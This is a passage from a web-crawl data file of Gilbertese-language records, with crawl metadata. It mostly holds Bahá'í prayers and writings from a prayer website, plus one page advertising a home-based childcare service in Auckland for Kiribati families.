umwanrianna ae e mimitong.\nBahá'u'lláh","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=40501460&to=gil","date":"2019-10-23T06:17:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987829458.93\/warc\/CC-MAIN-20191023043257-20191023070757-00051.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.48,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI NATIN TE BUBUNTANO!\nTuangiia kaubwai tangitangiia kainnano n te nukanibong, bwa e kaawa rawaia n ongo bwa kairaia nakon kawain te urubekebeke ao ni kamwawaaia man Kain te Kaubwai. N angaanga ao ni moamoaomata bon akanne Aroarou; ai i bon iroun are e kan katamaroaaki ma Aroarou aika a raraoi.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403500","date":"2019-10-24T05:52:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987841291.79\/warc\/CC-MAIN-20191024040131-20191024063631-00015.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.385,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O TE NATI TE MWANE AE NATIN AU TABONIBAI TE AINE!\nNgkana ko ukoura raoiroin te Tamnei ae Raoiroi, riin n itamwaomwao ma ake a etieti, bwa are e a tia ni mooi ni mwangkon te maiu ae akea tokina mai bain Teuare E uota te mwangko n tamnei anne ao n ai aron te ingaabong ae koaua are e kamaiui ao e kaootai nanoia ake a tia ni mate.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403590","date":"2019-10-22T04:56:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987798619.84\/warc\/CC-MAIN-20191022030805-20191022054305-00294.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":70,"character_repetition_ratio":0.019,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.429,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kaanim Ngkoe i rarikiu, bon nanou ao Kaotim bon katokan botuu, Nnem ae mimitong bon au toki, Aram bon katokan aorakiu, Am tangira bon kaotaakin nanou, Am beku bon kakukureiau are i eta, i eta! I butiiko n Aram, are Ko a tia n anga iai nakoia aika a Kinako te konaa n roota Am iango ae moan te rietaata; ao ni kariaia ake a Neboiko n rierake nakon Am tabo are e tabu ae katauraoaki i bukiia aika Ko akoiia; ni buokai ni kaaitara Moam, ni kareke matau Iroum, ao n taekina Mimitongim.\nAu Uea, bon ngai temanna are e a tia n mwanuokin bwaai nako ma ti Ngkoe, ao ni kaitaraa moan kaotin Am tangira, ao are e a tia ni mwaawa man bwaai nako, ma bon ti Ngkoe, n te aro ae Nna konaa ni kaania Matam. Taraai ngkai I tabeki matau nakon Am kaintoka ae raneanea n ootan Matam. Karuoa, ngkanne nako aou, Ngkoe ae tangiraki irou, n te aro ae Nna teimatoa iai i nanon Am Waaki, n te aro ae a aonga n aki tuukai nanokokorakiia aika a aki kakoauaa rairakiia Nakoim.\nBoni Ngkoe ni koaua Atuan te Mwaaka, te buoka n taiani kangaanga, Moan te Mimitong ao te Korakora.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190220020","date":"2019-10-14T21:50:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986655310.17\/warc\/CC-MAIN-20191014200522-20191014224022-00159.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":206,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.369,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE TAMNEI O!\nBon au tautaeka ngkoe ao Au tautaeka e aki mamauna, e aera ngkai ko maaka maunam? Bon Ootau ngkoe ao Ootau e aki mamate, e aera ngkai ko maaka te mate? Bon Mimitongiu ngkoe ao Mimitongiu e aki raarai; bon Au kamwarai ngkoe ao Au kamwarai e aki kona ni mane. Tiiku ngkanne n am tangira i Bukiu, bwa ko aonga ni Kuneai i nanon te abanuea ni mimitong.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190401150","date":"2019-10-23T19:25:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987835748.66\/warc\/CC-MAIN-20191023173708-20191023201208-00024.warc.gz","language":"gil","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"gil_Latn_score\": 1.0000050067901611}","num_words":73,"character_repetition_ratio":0.106,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.329,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NATIN TE BUBUNTANO O!\nNi koaua I taku nakoim: Te kabanea n aki tatabeakin i buakoia aomata bon are e kauntaba n akea te bwai ae karaoia ao e ukoukora karakaa arona i aon tarina. Atongnga, O ngkami taari! Kariki ami mwakuri, ma tiaki taeka, ake a na riki bwa katamaroaami.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=60403060&to=gil","date":"2019-10-23T11:35:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987833089.90\/warc\/CC-MAIN-20191023094558-20191023122058-00058.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.365,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O te Atua, Atuau! Ko noora aron roroon te rotongitong ae rabuni mwakoro n aono ni kabane, aroia ni kabane aono aika a urarake ma ain te kauntaeka, ao ain te buaka ao te tiritiri e a urababa rinanon nako te aono ni Mainiku ao Maeao. Rara a waanako, maate a raea iaontano, taian ata aika korouaaki a bwaka iaon bubuntanon te marae ni buaka.\nO te Uea! Nanoangaiia roonano aikai ao taraiia ma te mata n kakabwarabure ao n nanoanga. Tiringa te ai aei, n te aro bwa naang aika matenten aikai aika a rabuna te oraitan a kona ni kauamaeaki, Taain te Oioi e na oota nako ma buraen matan te inanoi, te bwarannao ae ribu e na taekaki ao ootan te raoi ae katekemata e na kaotanakoa raneaneana iaon aono ni kabane.\nO te Uea! Katikiia rake aomata man te nono ni marawa ae akea kabina ibukin te riribai ao te kairiribai, ao kaotinakoia man te rotongitong ae matoaninging niniakina. Kabooi nanoia, ao kaotai mataia ma ootan te raoi ao te inanoi. Kabwaraia man kabin te buaka ao te tiritiri, ao kainaomataia man roon te bure. Kamwaawai rabuna ake imataia, ao kaotai nanoia ma ootan te kairiri. Bwainaorakia n Am nanoanga ae abebete man mwamwannano, ao tai angania are bon riaina ni kaineti ma Am motiraoi ao Am katuua ake a kariki bwain nako te rabwata n rurubenebene.\nO te Uea! Buaka a bon reitinako. Kamaraki ao nakonnano a bon korakora rikirakeia ao ni katoai mwakoro n aono aika rangi ni marurung a wene n aki bongana.\nO te Uea! A tinebu naano, ao tamnei a kaonaki n te rawawata. Nanoangaia tamnei aika kananonaga aikai ao tai katikuia n aroia man taonakon are bon oin nanoia.\nO te Uea! Kaoti nakon Abam aikai tamnei aika kamangori ao n ongotaeka, moaia a otanako ma buraenmatan te kairiri, a koreaki man te aonaba, neboneboa Aram, mwanewenewea Neboam, ao a kauamaea boiararan Am katabuaki ibuakoia botanaomata.\nO te Uea! Kakorakorai nukaia, kabaei rooia, ao kaoni nanoia ma kanikinaean Am tangira ae korakora.\nO te Uea! Ni koaua, a bon mamara, ao Ngkoe bon te Mwaaka ao te Korakora; akea aia konabwai, ma bon Ngkoe te Tia Buokia ao te Nanoanga.\nO te Uea! Marawan te kaitara a uti naoia, ao taian mangaongao aikai a na bon aki taona rongoana ma tii rinanon Am Tamaroa ae Akea Tiana are e rabwatii mwakoro n aono ni kabane.\nO te Uea! Ni koaua, aomata a bon mena inanon te nono ni kaibwabwaru ae akea kabina, ao akea riki ae na kamaiuia ma bon tii Am kakabwaia aika akea tokia.\nO te Uea! Taenakoa te rotongitong man naano aika bakairae aikai, ao kaotai naano nako ma tauran Am tangira rinanona ike ni kabane aono n te tai ae aki maan a na kaotaaki. Kamatoaia, e a moamoa riki, naake Ko tangiria, naake, a kitani abaia, aia utu ao natiia, a tia, ibukin tangiran Tamaroam, a mwananga nakon aono aika ianena ni kauamaea Am boiarara ao ni katanoatai Am reirei nako. Riiki Ngkoe bwa raoia inanon maroaia, aia tia ibuobuoki inanon aaba aika a ianena, te tia kanakoi rawawataia, te tia kamwengaraoia inanon tain te kanganga. Riiki Ngkoe bwa te tia ukiia n te ang ni kamaiu ibukin takaia, te bwai n aoraki ibukin aorakia ao te kabira nakon buen korakain nanoia.\nNi koaua, bon Ngkoe te Kabanea n Tituaraoi, Uean te akoi ae korakora, ao, ni koaua, bon Ngkoe te Mwamwannano ao te Kabanea n Nanoanga.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190221070","date":"2019-10-18T00:36:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986677230.18\/warc\/CC-MAIN-20191017222820-20191018010320-00425.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":582,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.361,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngkoe ae Atuan te Aakoi! Bon Am bwai te karabwaaki bwa Ko a tia ni kautai ma n anganai te atatai. Ko a bon tia n anganai matau n taratara ao Ko aakoai n taningau n ongo ao Ko a tia ni kairai nakon Ueam ao ni kairai nakon Kawaim. Ko a tia ni kaota nakoiu te aro ae e riai ao ni karinai n te Ake ni Kamaiu. Te Atua kaawakinai bwa Nna teimatoa ma n nene n aki ukaki nako. Karabaai man te kataaki ae korakora. Kaawakinai ao kamanoai i nanon Am mwioko ma Am berita. Bon Ngkoe te Mwaaka, bon Ngkoe te Noraaba, bon Ngkoe te Ongotaeka, bon Ngkoe Te Atua ae E aakoi. Katuka i aou te nano ae itiaki ae e na konaa ni kaotaaki n ootan Am tangira ao nuurakina i aou te iango are e na konaa n onika te aonaaba aei bwa te nne n aroka n rooti rinanon te kaantaninga n tamnei. Bon Ngkoe te Aakoi, te Nanoanga! Te Atua Ngkoe ae E kakannato are Atuan taian Aro ni kabane.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190208020","date":"2019-10-14T04:52:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986649035.4\/warc\/CC-MAIN-20191014025508-20191014052508-00325.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":179,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NATIN TE BUBUNTANO!\nTai rairi nako matami man Ana wain ae akea kabotauana Teuare E tangiraki ae te tamnei, ao tai kauki nakon baarekan te rabwata ma betina nako. Anaia mai bain te Tia uota kanuwangan te maiu n tamnei, bwa kam aonga ni bwain niniwana nako, ao kam aonga n ongo te bwanaa n tamnei are e weewete man te abanuea ae e aki nooraki. Takaarua, ngkami aika a rinano ami kaantaninga! Bukin teraa kam rairaki nako man Au wain n tamnei ae e tabu nakon te ran ae e kai toki taina?","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=120503630&to=gil","date":"2019-10-24T05:52:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987841291.79\/warc\/CC-MAIN-20191024040131-20191024063631-00203.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":95,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.337,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Uea! Ti nanorawawata, anganiira nanom; ti kainnano, kamenaa i aora te tibwanga man marawan Am kaubwai; ti tangira buokara, Ko na bon karauakiira; ti mangori, anganiira Mimitongim. Mannikiba i eta ao maan n te tawaana a karekei kanaia Mairoum ni katoa bong ao are a bon bane n reke i aan Am kakaawakin ao Am tangira n tituaraoi.\nTai kamwaawa ae e tangira buokana man Am Raoiroi ae kamiimi ao kawakiniia ni Mwaakam tamnei aika a kainnanoa Am Ataataiaomata.\nAnganiira kanara n te bong ae koraki ao kariaia rikiraken baika a tangiraki n te maiu aei, bwa e aonga n ae akea ae ti kainnanoia irarikim, bwa ti aonga n itabon ma Ngkoe ni bwaninra, bwa ti aonga n nakonako ni Kawaim ao ni kaotioti Kamimiim nako. Bon Ngkoe Moan te Mwaaka ao te Aakoi ao te Tia Katituaraoi i bukin te botannaomata.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190202090","date":"2019-10-18T20:06:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986684425.36\/warc\/CC-MAIN-20191018181458-20191018204958-00436.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":144,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.41,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NATIN TE KAINNANOA!\nTaan ataibwai ao taan niniwana a bon tia i nanon ririki aika maan a bon aki konaa ni karekea kaanian te kabanea ni Mimitong; a bon aki konaa n noora tamaroan Moana. Bon akea am kekeiaki ni karekea am kouru, ao akea am ukeuke are e na reke iai are ko ukoukoria. Ma e ngae n anne, ko bon tiku n rabunaki n rabunanimatan aromi bwa matam e aki noora tamaroan Teuare E tangiraki, ke baim bwa e na riinga rabin Ana kamwarai. Ma e ngae n anne ake iai mataia, a nooria ao a miimi.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=10403230&to=gil","date":"2019-10-14T21:42:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986655310.17\/warc\/CC-MAIN-20191014200522-20191014224022-00080.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":100,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKOE KAKAMWAKURIN TE BUBUNTANO!\nI tangiria n itoman ma ngkoe, ma ko aki katuka te onimakinaki Irou. E a tia kabaangin rawam ni kabwakaa kain am kaantaninga. I bon kaan i rarikim n taai nako, ma ko bon raroa nako Mairou. I rinea te mimitong i bukim ae e aki konaa ni mauna, e ngae n anne ko a bon tia n rinea te nuka ae akea tiana. Ma ngkai bon e bon reke te tai n oki, ooki, ao tai kabuaa am tai.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403220","date":"2019-10-22T04:57:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987798619.84\/warc\/CC-MAIN-20191022030805-20191022054305-00554.warc.gz","language":"gil","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000096559524536}","num_words":85,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.376,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NATIN TE BUBUNTANO!\nKamataki matam, bwa ko aonga n noora Tamaroau; kaini taningam, bwa ko aonga n ongo tangiraoin Bwanaau; kaikiko man rabakau nako bwa ko aonga ni karekea tibwangam man Rabakau, kamimitongko man taian kaubwai bwa ko aonga ni karekea te tibwanga man marawan Kaubwaiu are akea tokina. Kamataki matam, man bwaai nako bwa ti i bukin Tamaroau; kain taningam nakon bwaai nako ma ti Au taeka; kaikiko man rabakau nako ma ti n Rabakau; bwa ma te taratara ae itiaki, te nano ae kororaoi ao te taninga ae kakauongo raoi bwa ko aonga n rin n Au bootaki ae tabu.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=20403120&to=gil","date":"2019-10-18T00:39:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986677230.18\/warc\/CC-MAIN-20191017222820-20191018010320-00401.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":103,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.311,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko na neboaki, te Uea n aki toki ao te Tia Karikiia tautaeka, ao te Tia Katamaroai mwakuri. I bubutii ma te nanorinano Nakoim, i nanon Aram are Ko weteia iai kaain aonaaba nako nanon mimitongin Raoiroim, are Ko kairiia nako iai n Am tangira ma Am aakoi; karikai bwa temanna naba aroia ake a kaaki tangiran bwaai i Bukim, ao a tia n tei i nanon Kaaniam ma n aki kamwaeieiaki ni kangaanga nako ake a bwakariia i Bukim, ni kaantaningaa Am bwai n aakoi.\nI a tia n taua, au Uea, rarikin Am tituaraoi, ma n tinea mataniwiin kaon Am aakoi, ao karuoa ngkanne i aou, mai buakon nangin Am nanoanga bwa e na aki uringaki temanna ma bon ti Ngkoe, n te aro ae Nna konaa n rairaki nakon are bon kakukureian te botannaomata, mairouia ake a riki n teirake bwa taani kakiriwe, aika a tia n urua Am berita, ma n aki Kakoauako ma Am kanikina. Tai kaakai, au Uea, man boiararan Am kunnikai n Am Bong, ao tai tuukai man arokan boin Am Kaotioti ao man mimitongin ootan Matam, Ko bon mwaaka ni karaoa oin Nanom. Bon akea ae e konaa ni katei nakon Am baaire, ke ni katoka ae Ko a tia ni karaoia ni Mwaakam.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190208010","date":"2019-10-23T06:15:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987829458.93\/warc\/CC-MAIN-20191023043257-20191023070757-00294.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":212,"character_repetition_ratio":0.024,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.349,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te ota ao te mimitong, te kamauri ao te kamoamoa a na tikuriia Tabonibain Ana Waaki, rinanoia are e a tia ootan te nanomatoa n oota nako mai iai ao e a tia n toronibwai iai te koaua are e kangai mwaakan te rinerine e tiku iroun te Atua, te Mwaaka, te Aki-Eenaki, ao rinanoia e a tia marawan te akoi ni iarake, ao a tia ni buta nako boiararan Ana bwain akoi te Atua, are Ngaia Uean te botannaomata. Ti a Butia – ae Ngaia te Rietaata – bwa E na otangaia rinanon mwaakaia kaain Ana runga, E na kamanomanoia rinanon korakoran Ana tautaeka ao ni buokiia man Korakorana are e aki kokonaaki, are e toka iaon bwaai ni kabane ake a tia ni karikaki. Te mwaaka n uea bon Ana bwai te Atua, are Ngaia te Tia Karika karawa ao Uean te Abanuean Aara.\nTablets of Bahá'u'lláh, Lawh-i-Dunyá (Tablet of the World)","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190305030","date":"2019-10-18T00:40:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986677230.18\/warc\/CC-MAIN-20191017222820-20191018010320-00294.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":152,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.454,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kiribati\nKam na bane ni mauri ara utu mai Kiribati,\nKaraki nakomai nakon Nurture Me home based Childcare (Kawarakiia ao reireiakinakin ami ataei iaan mwengaia). A mwaiti utu ni Kiribati ae ti teimatoa ni mwamwakuri ma ngaia, ai ngaia ae e kan karababa ana kakao Nurture Me nakoimi ma ami utu. Ti kawariia utu iaon Auckland n ikotaki ma Warkworth.\nNgkana iai am ataei ae mena ana ririki ni maiu imarenan 0-5 ao e tararuaaki nte auti\/mwengam iroun tibuna, raoraom, am aunty, ke te nanny (educator), ngkana iai ao kam kona n karekea buokami man ara service ae e aki kaboaki.\nKamwa taiaoka n reitaki\/email nakon ara website ngkana iai nanomi ni kan Karin\/enroll.\nNgkana koa tia n Karin n ana service Nurture Me, ao iai ara tia reirei ae ea tia n reke ana beebwa ibukiia ataei aika a uarereke ae ena kawara am educator ma am ataei ni katoa namwakaina. Kawarakin am ataei ni katoa namwakaina bon teuana mai ibuakon ara waaki ae e nang kakawaki. Bon tabera uotakin ara resources ke ara bwai n reirei ao n takakaro ibukin katakakaroan am ataei. Tina teimatoa n boutokaiko.\nTi kona n katauraoa ke ni karaoa;\n- Te neweaba\n- Te reirei ibukin te tibu, te rao, ke te aunty (ami educator)\n- Kawarakin ami ataei ni katoa namwakaina iroun ana tia reirei\n- Te Anganano\/buoka (tem wane) ni katoa namwakaina nakon utu\n- Kaitiboakiia ami educator ao katakakaroakiia ami ataei\nKamwa taiaoka n reitaki nakoira n ara website ngkana iai riki ami kan ota ke ngkana iai nanomi ni kan Karin n ana service Nurture Me. E teimatoa nanon Nurture Me home based Childcare n butimwaiko ma am utu.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.nurtureme.nz\/about\/kiribati","date":"2019-10-23T11:22:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987833089.90\/warc\/CC-MAIN-20191023094558-20191023122058-00208.warc.gz","language":"gil","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000079870224}","num_words":274,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.205,"stopwords_ratio":0.274,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E na neboaki Aram, au Uea ae Atuau. I Bubutiiko ni Mwaakam are e rabwati bwaai ni kabane ake a karikaki, ao ni Kakannatom are e a tia ni karikirakei bwaai nako, ao n Am Taeka ake a raba i nanon Am wanawana are Ko a tia ni karika iai karawa ma aonaaba, ake a na karekei arora n teimatoa n ara tangira i Bukim ao n ara ongeaaba nakon Nanom, ao ni kateimatoaiira bwa ti na taraa Matam, ao ni karaoa Neboam. Kakorakoraiira, Atuau, ni kataorababaa Am kanikina i buakon baike Ko kariki, ao ni kaawakina Am Onimaki i nanon Ueam. Ko a tia ni maiu i bon Iroum n aki kaantaninga man teuana are Ko karikia ao Ko na bon ti tiku n Arom anne n aki tootoki.\nI anganiko nanou ni kabane, ao I raira matau Nakoim, ao I kareke baiu ni mwiokon Am nanoanga ao n ingainga nakon nuun Am atataiaomata. Tai kakioai nako man Am mataroa, Atuau, n ai aron teuare e nanobuaka, ao tai taua Am tangira mairou, bwa ti Ngkoe ae I Ukoukoriko. Akea Te Atua riki i Rarikim, te Tia Kabwarabure ao Moan te Mwaaka.\nAm bwai te neboaki, Ngkoe are Moan te Tangiraki irouia naake a Ataiko.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190220010","date":"2019-10-14T21:42:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986655310.17\/warc\/CC-MAIN-20191014200522-20191014224022-00128.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":206,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.388,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nebonebo ni kabane, Atuau, bon Nakoim are boni Ngkoe Rikin te Mimitong ni kabanea ao te kakannato ni uea, te kakannato ao te karineaki, te inaomata n tautaeka ao te mwaaka n tautaeka, te kairirieta ao te raoiroi, te kakanako nano ao te mwaaka. Ane Ko nano irouna ni kaania te Marawa ae Moan te Kakannato, ao ane Ko matennanoia Ko bon katokaa i aona rinena ni kinaakin Aram are Katokin Ngkoangkoa. Mai buakoia ni kabane ake i karawa ao i aon te aonaaba, akea ae e konaa ni kaaitaraa waakinan Nanom n Inaomatam n Uea. Man te aki tootoki ni kabane Ko a tia n tautaekana te karikibwai ae bwanin, ao Ko na bon teimatoa n taai nako ni kabonganaa Am waaki n tautaeka i aoia ni kabane baike a karikaki. Bon akea riki Te Atua bwa ti Ngkoe, Moan te Korakora, te Kabanea n Karietataaki, te Kabanea ni Mwaaka, te Kabanea ni Wanawana.\nKaootai moaia Am toro, te Uea, bwa a aonga n Tataraiko; ao kaitiaki nanoia bwa a aonga n rairaki nakon bwerein Am bwai n aakoi ni karawa, ao ni kinaa Teuare Ngaia te Tia Kaotiotiko ao Rikin Ngainan Aro ni koaua. Ni koaua, boni Ngkoe te Uea n aonaaba ni kabane, Akea riki Te Atua bwa ti Ngkoe, te Aki Eenaki Arona, te Tautoroi bwaai nako.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190217010","date":"2019-10-15T00:25:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986655554.2\/warc\/CC-MAIN-20191014223147-20191015010647-00264.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":31,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":221,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.403,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE AOMATA O!\nE a tia oti i aom am oraitanin te Maunga ae tabu ao te tamnei ni kaotaota e a tia n ikeike i nanon Tiinain nanom. Mangaia are, kamwaawako man katautau ma iango aika akea maneia ao kaaraki tei i Matau, bwa ko aonga n tau nakon te maiu ae akea tokina ao n taubobonga raoi ni kaaitibo ma Ngai. N aron aei e na aki kona n roko iroum te mate, ke te kua ma te kanganga.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190401640","date":"2019-10-14T05:00:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986649035.4\/warc\/CC-MAIN-20191014025508-20191014052508-00318.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":82,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.427,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI TAAN MAEKA NI KAAWAN TE TANGIRA!\nRebwen bwaai n rabwata ake a katea te taura te nenea ae akea tokina, ao tamaroan 